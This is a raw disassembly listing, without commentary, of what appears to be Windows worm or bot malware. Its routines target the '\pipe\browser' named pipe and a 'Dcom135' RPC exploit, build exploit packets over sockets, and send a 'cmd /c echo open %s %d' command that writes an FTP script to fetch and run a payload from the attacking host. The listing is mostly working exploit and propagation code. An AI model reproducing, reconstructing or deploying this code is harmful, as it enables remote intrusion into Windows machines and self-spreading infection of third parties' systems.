		db  8Dh	; 
		db  85h	; 
		db  24h	; $
		db 0FFh
		db 0FFh
		db 0FFh
		db  50h	; P
		db 0E8h	; 
		db  80h	; 
		db 0E0h	; 
		db    1
		db    0
; ---------------------------------------------------------------------------
		jmp	short loc_4049C7
; ---------------------------------------------------------------------------
		db 0BEh	; 
		db    0
		db  20h
		db    0
		db    0
; ---------------------------------------------------------------------------

loc_4049C7:				; CODE XREF: ___:004049C0j
		push	dword ptr [ebp+8]
		lea	eax, [ebp-40DCh]
		push	offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp-40DCh]
		push	ebx
		push	40000000h
		push	3
		push	ebx
		push	3
		push	0C0000000h
		push	eax
		call	near ptr 2610691h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jnz	short loc_404A0B

loc_404A04:				; CODE XREF: ___:00404AE3j
					; ___:00404CB9j ...
		xor	al, al
		jmp	loc_404E4F
; ---------------------------------------------------------------------------

loc_404A0B:				; CODE XREF: ___:00404A02j
		push	48h
		lea	eax, [ebp-0B8h]
		push	ebx
		push	eax
		call	sub_417330
		push	10h
		mov	byte ptr [ebp-0B8h], 5
		pop	eax
		mov	[ebp-0B7h], bl
		push	1
		mov	[ebp-0B4h], eax
		pop	edi
		mov	byte ptr [ebp-0B6h], 0Bh
		push	eax
		lea	eax, [ebp-98h]
		push	offset dword_428C34
		push	eax
		mov	byte ptr [ebp-0B5h], 3
		mov	word ptr [ebp-0B0h], 48h
		mov	[ebp-0AEh], bx
		mov	[ebp-0ACh], ebx
		mov	word ptr [ebp-0A8h], 10B8h
		mov	word ptr [ebp-0A6h], 10B8h
		mov	[ebp-0A4h], ebx
		mov	[ebp-0A0h], edi
		mov	[ebp-9Ch], bx
		mov	byte ptr [ebp-9Ah], 1
		call	sub_417390
		push	10h
		lea	eax, [ebp-84h]
		push	offset dword_428C20
		push	eax
		mov	dword ptr [ebp-88h], 3
		call	sub_417390
		add	esp, 24h
		lea	eax, [ebp-0BCh]
		mov	dword ptr [ebp-74h], 2
		push	ebx
		push	eax
		lea	eax, [ebp-0B8h]
		push	48h
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2600000h
		test	eax, eax
		jnz	short loc_404AE8

loc_404ADA:				; CODE XREF: ___:00404BB4j
		push	dword ptr [ebp-4]
		call	near ptr 25F1A27h
		nop
		jmp	loc_404A04
; ---------------------------------------------------------------------------

loc_404AE8:				; CODE XREF: ___:00404AD8j
		lea	eax, [ebp-14h]
		push	ebx
		push	eax
		lea	eax, [ebp-60DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-4]
		call	near ptr 25F1127h
		nop
		push	ebx
		call	sub_4186B1
		push	eax
		call	sub_417302
		push	14h
		lea	eax, [ebp-70h]
		push	41h
		push	eax
		call	sub_417330
		push	1Ch
		lea	eax, [ebp-30h]
		push	41h
		push	eax
		call	sub_417330
		add	esp, 20h
		call	sub_41730C
		mov	esi, [ebp+0Ch]
		mov	[ebp-70h], eax
		mov	[ebp-64h], edi
		mov	[ebp-68h], ebx
		lea	esi, [esi+esi*4]
		mov	[ebp-6Ch], edi
		shl	esi, 2
		mov	[ebp-60h], bx
		cmp	byte_428BC8[esi], bl
		jz	short loc_404B5F
		push	4
		mov	[ebp-24h], edi
		mov	[ebp-28h], ebx
		mov	[ebp-2Ch], edi
		push	offset dword_43C830
		jmp	short loc_404B72
; ---------------------------------------------------------------------------

loc_404B5F:				; CODE XREF: ___:00404B4Bj
		push	2
		mov	[ebp-28h], ebx
		pop	eax
		push	4
		mov	[ebp-24h], eax
		mov	[ebp-2Ch], eax
		push	(offset	loc_428C17+1)

loc_404B72:				; CODE XREF: ___:00404B5Dj
		lea	eax, [ebp-20h]
		push	eax
		call	sub_417390
		add	esp, 0Ch
		call	sub_41730C
		mov	edi, 0FAh
		cdq
		mov	ecx, edi
		idiv	ecx
		inc	edx
		mov	[ebp-30h], edx
		call	sub_41730C
		cdq
		idiv	edi
		mov	eax, dword_428BBC[esi]
		mov	[ebp-18h], ebx
		push	eax
		mov	[ebp+8], eax
		inc	edx
		mov	[ebp-1Ch], edx
		call	sub_417B89
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		jz	loc_404ADA
		mov	eax, [ebp+8]
		add	eax, 0FFFFFFFEh
		push	eax
		push	90h
		push	edi
		call	sub_417330
		mov	eax, [ebp+8]
		push	2
		push	ebx
		lea	eax, [edi+eax-2]
		push	eax
		call	sub_417330
		mov	eax, dword_428BC4[esi]
		push	7
		add	eax, edi
		push	offset dword_428BB0
		push	eax
		mov	[ebp+0Ch], eax
		call	sub_417390
		mov	eax, [ebp+0Ch]
		push	15Ch
		add	eax, 7
		push	offset dword_428A50
		push	eax
		call	sub_417390
		mov	eax, dword_428BC0[esi]
		add	esp, 30h
		cmp	byte_428BC8[esi], bl
		mov	[ebp+0Ch], eax
		jz	short loc_404C6B
		push	4
		add	eax, edi
		push	offset dword_43C828
		push	eax
		call	sub_417390
		add	dword ptr [ebp+0Ch], 0Ch
		mov	esi, offset dword_428BE0
		mov	eax, [ebp+0Ch]
		push	4
		add	eax, edi
		push	esi
		push	eax
		call	sub_417390
		mov	eax, [ebp+0Ch]
		push	4
		push	esi
		lea	eax, [eax+edi+24h]
		push	eax
		mov	[ebp+0Ch], eax
		call	sub_417390
		mov	eax, [ebp+0Ch]
		push	4
		add	eax, 0Ch
		push	esi
		push	eax
		call	sub_417390
		add	esp, 30h
		jmp	short loc_404C93
; ---------------------------------------------------------------------------

loc_404C6B:				; CODE XREF: ___:00404C1Cj
		add	eax, edi
		mov	dword ptr [ebp-8], 10h
		mov	[ebp+0Ch], eax
		mov	esi, offset dword_428BE0

loc_404C7C:				; CODE XREF: ___:00404C91j
		push	4
		push	esi
		push	dword ptr [ebp+0Ch]
		call	sub_417390
		add	dword ptr [ebp+0Ch], 4
		add	esp, 0Ch
		dec	dword ptr [ebp-8]
		jnz	short loc_404C7C

loc_404C93:				; CODE XREF: ___:00404C69j
		mov	eax, [ebp+8]
		add	eax, 42h
		push	eax
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	[ebp-8], esi
		jnz	short loc_404CBE
		push	dword ptr [ebp-4]
		nop
		call	near ptr 25F1A27h
		push	edi
		call	sub_417C3B
		pop	ecx
		jmp	loc_404A04
; ---------------------------------------------------------------------------

loc_404CBE:				; CODE XREF: ___:00404CA7j
		mov	eax, [ebp+8]
		add	eax, 42h
		push	eax
		push	ebx
		push	esi
		call	sub_417330
		lea	eax, [ebp-70h]
		push	14h
		push	eax
		push	esi
		call	sub_417390
		mov	eax, [ebp+8]
		mov	[ebp-0Ch], ebx
		mov	[ebp-10h], eax
		add	esp, 10h
		fild	qword ptr [ebp-10h]
		fmul	flt_424294
		fstp	qword ptr [esp]
		call	sub_417DEB
		call	sub_417DC4
		push	dword ptr [ebp+8]
		mov	[esi+1Ch], eax
		mov	[esi+18h], ebx
		mov	eax, [esi+1Ch]
		mov	[esi+14h], eax
		lea	eax, [esi+20h]
		push	edi
		push	eax
		call	sub_417390
		mov	eax, [ebp+8]
		add	esp, 14h
		add	eax, 20h
		test	al, 3
		mov	[ebp+0Ch], eax
		jz	short loc_404D2B

loc_404D23:				; CODE XREF: ___:00404D26j
		inc	eax
		test	al, 3
		jnz	short loc_404D23
		mov	[ebp+0Ch], eax

loc_404D2B:				; CODE XREF: ___:00404D21j
		lea	ecx, [ebp-30h]
		push	1Ch
		add	eax, esi
		push	ecx
		push	eax
		call	sub_417390
		add	dword ptr [ebp+0Ch], 1Ch
		push	edi
		call	sub_417C3B
		push	18h
		lea	eax, [ebp-48h]
		push	ebx
		push	eax
		call	sub_417330
		push	14h
		lea	eax, [ebp-5Ch]
		push	ebx
		push	eax
		mov	byte ptr [ebp-48h], 5
		mov	[ebp-47h], bl
		mov	[ebp-46h], bl
		mov	byte ptr [ebp-45h], 3
		mov	dword ptr [ebp-44h], 10h
		mov	[ebp-3Eh], bx
		mov	[ebp-3Ch], ebx
		mov	[ebp-34h], bx
		mov	word ptr [ebp-32h], 1Fh
		call	sub_417330
		add	esp, 28h
		push	ebx
		push	ebx
		push	1
		push	ebx
		call	near ptr 2610992h
		nop
		mov	[ebp-4Ch], eax
		mov	[ebp+0Bh], bl
		mov	[ebp-0Ch], ebx

loc_404D98:				; CODE XREF: ___:00404E22j
		cmp	dword ptr [ebp-0Ch], 2
		jge	loc_404E2D
		push	1
		push	10B8h
		push	dword ptr [ebp+0Ch]
		inc	dword ptr [ebp-0Ch]
		push	esi
		lea	esi, [ebp-48h]
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	dword ptr [ebp-4]
		rep movsd
		call	sub_404861
		add	esp, 2Ch
		test	al, al
		jz	short loc_404E2A
		cmp	[ebp-4Ch], ebx
		jz	short loc_404E1C
		lea	eax, [ebp-5Ch]
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-60DCh]
		push	2000h
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 25F1127h
		test	eax, eax
		jnz	short loc_404E03
		call	near ptr 2610941h
		nop
		cmp	eax, 3E5h
		jnz	loc_404A04

loc_404E03:				; CODE XREF: ___:00404DF0j
		push	3E8h
		push	dword ptr [ebp-4Ch]
		nop
		call	near ptr 26108DFh
		cmp	eax, 102h
		jnz	short loc_404E1C
		mov	byte ptr [ebp+0Bh], 1

loc_404E1C:				; CODE XREF: ___:00404DCFj
					; ___:00404E16j
		cmp	[ebp+0Bh], bl
		mov	esi, [ebp-8]
		jz	loc_404D98
		jmp	short loc_404E2D
; ---------------------------------------------------------------------------

loc_404E2A:				; CODE XREF: ___:00404DCAj
		mov	esi, [ebp-8]

loc_404E2D:				; CODE XREF: ___:00404D9Cj
					; ___:00404E28j
		push	dword ptr [ebp-4]
		mov	edi, dword_424078
		call	edi
		push	esi
		call	sub_417C3B
		cmp	[ebp-4Ch], ebx
		pop	ecx
		jz	short loc_404E49
		push	dword ptr [ebp-4Ch]
		call	edi

loc_404E49:				; CODE XREF: ___:00404E42j
		cmp	[ebp+0Bh], bl
		setnz	al

loc_404E4F:				; CODE XREF: ___:00404A06j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; 
		db 0ECh	; 
		db  81h	; 
		db 0ECh	; 
		db 0A0h	; 
		db    5
		db    0
		db    0
		db  53h	; S
		db  56h	; V
		db  57h	; W
		db  33h	; 3
		db 0F6h	; 
		db  6Ah	; j
		db  10h
		db  8Dh	; 
		db  45h	; E
		db 0F0h	; 
		db  56h	; V
		db  50h	; P
		db 0E8h	; 
		db 0C2h	; 
		db  24h	; $
		db    1
		db    0
		db  83h	; 
		db 0C4h	; 
		db  0Ch
		db  8Dh	; 
		db  45h	; E
		db  0Ch
		db  66h	; f
		db 0C7h	; 
		db  45h	; E
		db 0F0h	; 
		db    2
		db    0
		db  50h	; P
		db  90h	; 
		db 0E8h	; 
		db  77h	; w
		db 0C4h	; 
		db  6Ah	; j
		db  71h	; q
		db 0FFh
		db 0B5h	; 
		db 0C4h	; 
		db    0
		db    0
		db    0
		db  89h	; 
		db  45h	; E
		db 0F4h	; 
		db  90h	; 
		db 0E8h	; 
		db 0B6h	; 
		db 0C8h	; 
		db  6Ah	; j
		db  71h	; q
		db  56h	; V
		db  6Ah	; j
		db    1
		db  6Ah	; j
		db    2
		db  66h	; f
		db  89h	; 
		db  45h	; E
		db 0F2h	; 
		db 0E8h	; 
		db  84h	; 
		db 0EDh	; 
		db  6Ah	; j
		db  71h	; q
		db  90h	; 
		db  8Bh	; 
		db 0D8h	; 
		db  83h	; 
		db 0FBh	; 
		db 0FFh
		db  74h	; t
		db  7Ch	; |
		db  8Dh	; 
		db  45h	; E
		db 0F0h	; 
		db  6Ah	; j
		db  10h
		db  50h	; P
		db  53h	; S
		db 0E8h	; 
		db 0ABh	; 
		db 0EFh	; 
		db  6Ah	; j
		db  71h	; q
		db  90h	; 
		db  83h	; 
		db 0F8h	; 
		db 0FFh
		db  74h	; t
		db  6Ah	; j
		db 0BFh	; 
		db    0
		db    4
		db    0
		db    0
		db  56h	; V
		db  8Bh	; 
		db  35h	; 5
		db    4
		db  42h	; B
		db  42h	; B
		db    0
		db  8Dh	; 
		db  85h	; 
		db  60h	; `
		db 0FAh	; 
		db 0FFh
		db 0FFh
		db  57h	; W
		db  50h	; P
		db  53h	; S
		db 0FFh
		db 0D6h	; 
		db 0B8h	; 
		db  74h	; t
		db 0F6h	; 
		db  42h	; B
		db    0
		db  50h	; P
		db  50h	; P
		db 0FFh
		db  35h	; 5
		db  3Ch	; <
		db 0C8h	; 
		db  43h	; C
		db    0
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; 
		db 0FCh	; 
		db  5Fh	; _
		db    0
		db    0
		db  59h	; Y
		db  50h	; P
		db  68h	; h
		db 0DCh	; 
		db  89h	; 
		db  42h	; B
		db    0
		db  8Dh	; 
		db  85h	; 
		db  60h	; `
		db 0FEh	; 
		db 0FFh
		db 0FFh
		db  68h	; h
		db  90h	; 
		db    1
		db    0
		db    0
		db  50h	; P
		db 0E8h	; 
		db  2Eh	; .
		db  29h	; )
		db    1
		db    0
		db  83h	; 
		db 0C4h	; 
		db  1Ch
		db  8Dh	; 
		db  85h	; 
		db  60h	; `
		db 0FEh	; 
		db 0FFh
		db 0FFh
		db  6Ah	; j
		db    0
		db  50h	; P
		db 0E8h	; 
		db 0A3h	; 
		db  2Bh	; +
		db    1
		db    0
		db  59h	; Y
		db  50h	; P
		db  8Dh	; 
		db  85h	; 
		db  60h	; `
		db 0FEh	; 
		db 0FFh
		db 0FFh
		db  50h	; P
		db  53h	; S
		db 0E8h	; 
		db 0D8h	; 
		db 0CBh	; 
		db  6Ah	; j
		db  71h	; q
		db  90h	; 
		db  83h	; 
		db 0F8h	; 
		db 0FFh
		db  75h	; u
		db    4
		db  33h	; 3
		db 0C0h	; 
		db 0EBh	; 
		db  17h
		db  6Ah	; j
		db    0
		db  8Dh	; 
		db  85h	; 
		db  60h	; `
		db 0FAh	; 
		db 0FFh
		db 0FFh
		db  57h	; W
		db  50h	; P
		db  53h	; S
		db 0FFh
		db 0D6h	; 
		db  53h	; S
		db 0E8h	; 
		db  34h	; 4
		db 0CBh	; 
		db  6Ah	; j
		db  71h	; q
		db  90h	; 
		db  6Ah	; j
		db    1
		db  58h	; X
		db  5Fh	; _
		db  5Eh	; ^
		db  5Bh	; [
		db 0C9h	; 
		db 0C3h	; 
		dw 5653h
		dd 8DDB3357h, 53142444h, 0F9FDE850h, 8459FFFFh,	227459C0h
		dd 748D656Ah, 0EC811424h, 0BCh,	8B592F6Ah, 0E8A5F3FCh
		dd 0FFFFFEE4h, 0C0C481h, 0C0850000h, 0DB851B75h, 0D0680B75h
		dd 90000007h, 1CBD2AE8h, 0FB834302h, 33B87202h,	5B5E5FC0h
		dd 58016AC3h
		db 0EBh, 0F7h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404F9A	proc near		; CODE XREF: ___:00405119p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		nop
		call	near ptr 71AB12F8h
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		nop
		call	near ptr 71AB1746h
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	near ptr 71AB3C22h
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_405068
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	near ptr 71AB3E5Dh
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_405068
		mov	edi, 400h
		push	esi
		mov	esi, dword_424204
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset byte_42F674
		push	eax
		push	eax
		push	dword_43C83C
		push	[ebp+arg_0]
		call	sub_40AEE0
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_41782A
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40506C

loc_405068:				; CODE XREF: sub_404F9A+50j
					; sub_404F9A+62j
		xor	eax, eax
		jmp	short loc_405083
; ---------------------------------------------------------------------------

loc_40506C:				; CODE XREF: sub_404F9A+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		call	near ptr 71AB1A6Dh
		nop
		push	1
		pop	eax

loc_405083:				; CODE XREF: sub_404F9A+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404F9A	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		lea	eax, [ebp+0Ch]
		push	edi
		push	eax
		mov	word ptr [ebp-10h], 2
		call	dword_43F6A8
		push	dword ptr [ebp+0A8h]
		mov	[ebp-0Ch], eax
		call	dword_43F668
		push	6
		push	1
		push	2
		mov	[ebp-0Eh], ax
		nop
		call	near ptr 71AB3C22h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4050FA
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4050DB
		push	esi
		jmp	short loc_4050F4
; ---------------------------------------------------------------------------

loc_4050DB:				; CODE XREF: ___:004050D6j
		push	0
		push	1213h
		push	offset dword_428C60
		push	esi
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_4050FE

loc_4050F4:				; CODE XREF: ___:004050D9j
		nop
		call	near ptr 71AB1A6Dh

loc_4050FA:				; CODE XREF: ___:004050C4j
		xor	eax, eax
		jmp	short loc_405140
; ---------------------------------------------------------------------------

loc_4050FE:				; CODE XREF: ___:004050F2j
		call	near ptr 71AB1A6Dh
		nop
		push	216Bh
		lea	esi, [ebp+8]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_404F9A
		add	esp, 0C0h
		test	eax, eax
		jz	short loc_40513D
		mov	eax, [ebp+0B0h]
		imul	eax, 3Ch
		inc	dword_42ACB8[eax]
		lea	eax, dword_42ACB8[eax]

loc_40513D:				; CODE XREF: ___:00405126j
		push	1
		pop	eax

loc_405140:				; CODE XREF: ___:004050FCj
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405144	proc near		; CODE XREF: ___:00405340p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	dword_43F6A8
		mov	[ebp+var_C], eax
		mov	ax, word_42A040
		push	eax
		call	dword_43F668
		push	edi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	dword_43F6E8
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_40525B
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_43F610
		cmp	eax, 0FFFFFFFFh
		jz	loc_40525B
		mov	ebx, 400h
		push	edi
		lea	eax, [ebp+var_5A0]
		push	ebx
		push	eax
		push	esi
		call	dword_43F680
		push	dword_43C83C
		push	[ebp+arg_0]
		call	sub_40AEE0
		pop	ecx
		mov	edi, 190h
		push	eax
		push	offset aEchoOpenSDOE_0 ; "echo open %s %d > o&echo user	1 1 >> o "...
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 14h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	esi
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40525B
		push	1F4h
		call	near ptr 25D0CB3h
		nop
		push	offset byte_42F674
		push	offset dword_428598
		lea	eax, [ebp+var_1A0]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 10h
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	esi
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40525F

loc_40525B:				; CODE XREF: sub_405144+51j
					; sub_405144+67j ...
		xor	al, al
		jmp	short loc_405279
; ---------------------------------------------------------------------------

loc_40525F:				; CODE XREF: sub_405144+115j
		push	0
		lea	eax, [ebp+var_5A0]
		push	ebx
		push	eax
		push	esi
		call	dword_43F680
		push	esi
		call	dword_43F700
		mov	al, 1

loc_405279:				; CODE XREF: sub_405144+119j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_405144	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	ebx
		push	esi
		lea	eax, [ebp+0Ch]
		push	edi
		push	eax
		nop
		call	near ptr 71AB2BBFh
		mov	esi, eax
		test	esi, esi
		jnz	short loc_4052A8
		lea	eax, [ebp+0Ch]
		push	eax
		call	near ptr 71AB12F8h
		nop
		mov	ebx, eax
		jmp	short loc_4052AE
; ---------------------------------------------------------------------------

loc_4052A8:				; CODE XREF: ___:00405298j
		mov	ebx, [ebp+0C0h]

loc_4052AE:				; CODE XREF: ___:004052A6j
		push	11h
		push	2
		push	2
		nop
		call	near ptr 71AB3C22h
		test	esi, esi
		mov	edi, eax
		jz	short loc_4052D8
		movsx	eax, word ptr [esi+0Ah]
		push	eax
		mov	eax, [esi+0Ch]
		push	dword ptr [eax]
		lea	eax, [ebp-0Ch]
		push	eax
		call	sub_417390
		add	esp, 0Ch
		jmp	short loc_4052DB
; ---------------------------------------------------------------------------

loc_4052D8:				; CODE XREF: ___:004052BEj
		mov	[ebp-0Ch], ebx

loc_4052DB:				; CODE XREF: ___:004052D6j
		test	esi, esi
		jz	short loc_4052E9
		mov	ax, [esi+8]
		mov	[ebp-10h], ax
		jmp	short loc_4052EF
; ---------------------------------------------------------------------------

loc_4052E9:				; CODE XREF: ___:004052DDj
		mov	word ptr [ebp-10h], 2

loc_4052EF:				; CODE XREF: ___:004052E7j
		push	599h
		nop
		call	near ptr 71AB1746h
		mov	[ebp-0Eh], ax
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	edi
		nop
		call	near ptr 71AB3E5Dh
		test	eax, eax
		jnz	loc_4053BE
		push	eax
		push	1C9h
		push	offset loc_429E74
		push	edi
		call	near ptr 71AB1AF4h
		nop
		push	3E8h
		nop
		call	near ptr 25D0CB3h
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_405144
		add	esp, 0BCh
		test	al, al
		jz	short loc_405354
		push	1
		pop	eax
		jmp	short loc_4053D0
; ---------------------------------------------------------------------------

loc_405354:				; CODE XREF: ___:0040534Dj
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		imul	eax, 3Ch
		add	eax, offset aDcom135 ; "Dcom135"
		push	eax
		push	offset unk_42A0B0
		lea	eax, [ebp-210h]
		push	200h
		push	eax
		call	sub_41782A
		push	0
		lea	eax, [ebp-210h]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_40D679
		lea	eax, [ebp-210h]
		push	eax
		call	sub_40BF6D
		mov	eax, [ebp+0B0h]
		add	esp, 2Ch
		imul	eax, 3Ch
		inc	dword_42ACB8[eax]
		lea	eax, dword_42ACB8[eax]
		jmp	short loc_4053CE
; ---------------------------------------------------------------------------

loc_4053BE:				; CODE XREF: ___:0040530Dj
		push	1
		push	edi
		nop
		call	near ptr 71AB8629h
		push	edi
		call	near ptr 71AB1A6Dh
		nop

loc_4053CE:				; CODE XREF: ___:004053BCj
		xor	eax, eax

loc_4053D0:				; CODE XREF: ___:00405352j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4053D5	proc near		; DATA XREF: sub_407252+226o

var_A6C		= byte ptr -0A6Ch
var_8DC		= byte ptr -8DCh
var_6DC		= dword	ptr -6DCh
var_6D8		= byte ptr -6D8h
var_4C4		= byte ptr -4C4h
var_444		= dword	ptr -444h
var_440		= dword	ptr -440h
var_438		= dword	ptr -438h
var_334		= byte ptr -334h
var_2D0		= byte ptr -2D0h
var_29C		= byte ptr -29Ch
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_124		= byte ptr -124h
var_F8		= byte ptr -0F8h
var_C4		= byte ptr -0C4h
var_AC		= byte ptr -0ACh
var_48		= byte ptr -48h
var_38		= word ptr -38h
var_36		= word ptr -36h
var_34		= dword	ptr -34h
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0A6Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	1
		mov	ecx, 0A9h
		mov	esi, eax
		lea	edi, [ebp+var_6DC]
		pop	ebx
		rep movsd
		mov	[eax+2A0h], ebx
		lea	eax, [ebp+var_A6C]
		xor	edi, edi
		push	eax
		push	101h
		mov	[ebp+var_28], ebx
		mov	[ebp+var_18], ebx
		mov	[ebp+var_228], edi
		mov	[ebp+var_438], edi
		nop
		call	near ptr 71AB41DAh
		push	edi
		call	sub_4186B1
		push	eax
		call	sub_417302
		push	0FEB0h
		push	406h
		call	sub_415450
		add	esp, 10h
		mov	dword_43C83C, eax
		push	edi
		push	ebx
		push	2
		nop
		call	near ptr 71AB3C22h
		mov	esi, eax
		lea	eax, [ebp+var_28]
		push	4
		push	eax
		push	4
		push	0FFFFh
		push	esi
		mov	[ebp+var_C], esi
		nop
		call	near ptr 71AB3F8Dh
		lea	eax, [ebp+var_18]
		push	eax
		push	8004667Eh
		push	esi
		nop
		call	near ptr 71AB155Ah
		mov	ax, word ptr dword_43C83C
		mov	[ebp+var_38], 2
		push	eax
		mov	[ebp+var_34], edi
		nop
		call	near ptr 71AB1746h
		mov	[ebp+var_36], ax
		lea	eax, [ebp+var_38]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB3ECEh
		test	eax, eax
		jge	short loc_4054AA
		mov	eax, ebx
		jmp	loc_4059D4
; ---------------------------------------------------------------------------

loc_4054AA:				; CODE XREF: sub_4053D5+CCj
		push	0Ah
		push	esi
		call	near ptr 71AB5DE2h
		nop
		mov	[ebp+var_228], ebx
		mov	ebx, dword_424208
		mov	[ebp+var_224], esi
		mov	[ebp+var_4], esi

loc_4054C8:				; CODE XREF: sub_4053D5+12Cj
					; sub_4053D5+5F7j
		push	41h
		lea	esi, [ebp+var_228]
		pop	ecx
		lea	edi, [ebp+var_438]
		rep movsd
		xor	esi, esi
		lea	eax, [ebp+var_438]
		push	esi
		push	esi
		push	esi
		push	eax
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		nop
		call	near ptr 71AB1890h
		cmp	eax, 0FFFFFFFFh
		jz	loc_4059D1
		xor	edi, edi
		cmp	[ebp+var_4], esi
		mov	[ebp+arg_0], edi
		jl	short loc_4054C8

loc_405503:				; CODE XREF: sub_4053D5+5F1j
		xor	esi, esi
		push	64h
		lea	eax, [ebp+var_29C]
		push	esi
		push	eax
		call	sub_417330
		push	64h
		lea	eax, [ebp+var_AC]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 18h
		lea	eax, [ebp+var_438]
		push	eax
		push	edi
		call	sub_422A46
; ---------------------------------------------------------------------------
		db 85h
		dd 84840FC0h, 3B000004h, 7A75F47Dh, 0C7DC458Dh,	10DC45h
		dd 8D500000h, 0FFFDC885h, 75FF50FFh, 3133E8F4h,	8390716Bh
		dd 840FFFF8h, 45Bh, 0B539C933h,	0FFFFFDD8h, 958D1676h
		dd 0FFFFFDDCh
; ---------------------------------------------------------------------------

loc_405574:				; CODE XREF: sub_4053D5+1ADj
		cmp	[edx], eax
		jz	short loc_405584
		inc	ecx
		add	edx, 4
		cmp	ecx, [ebp+var_228]
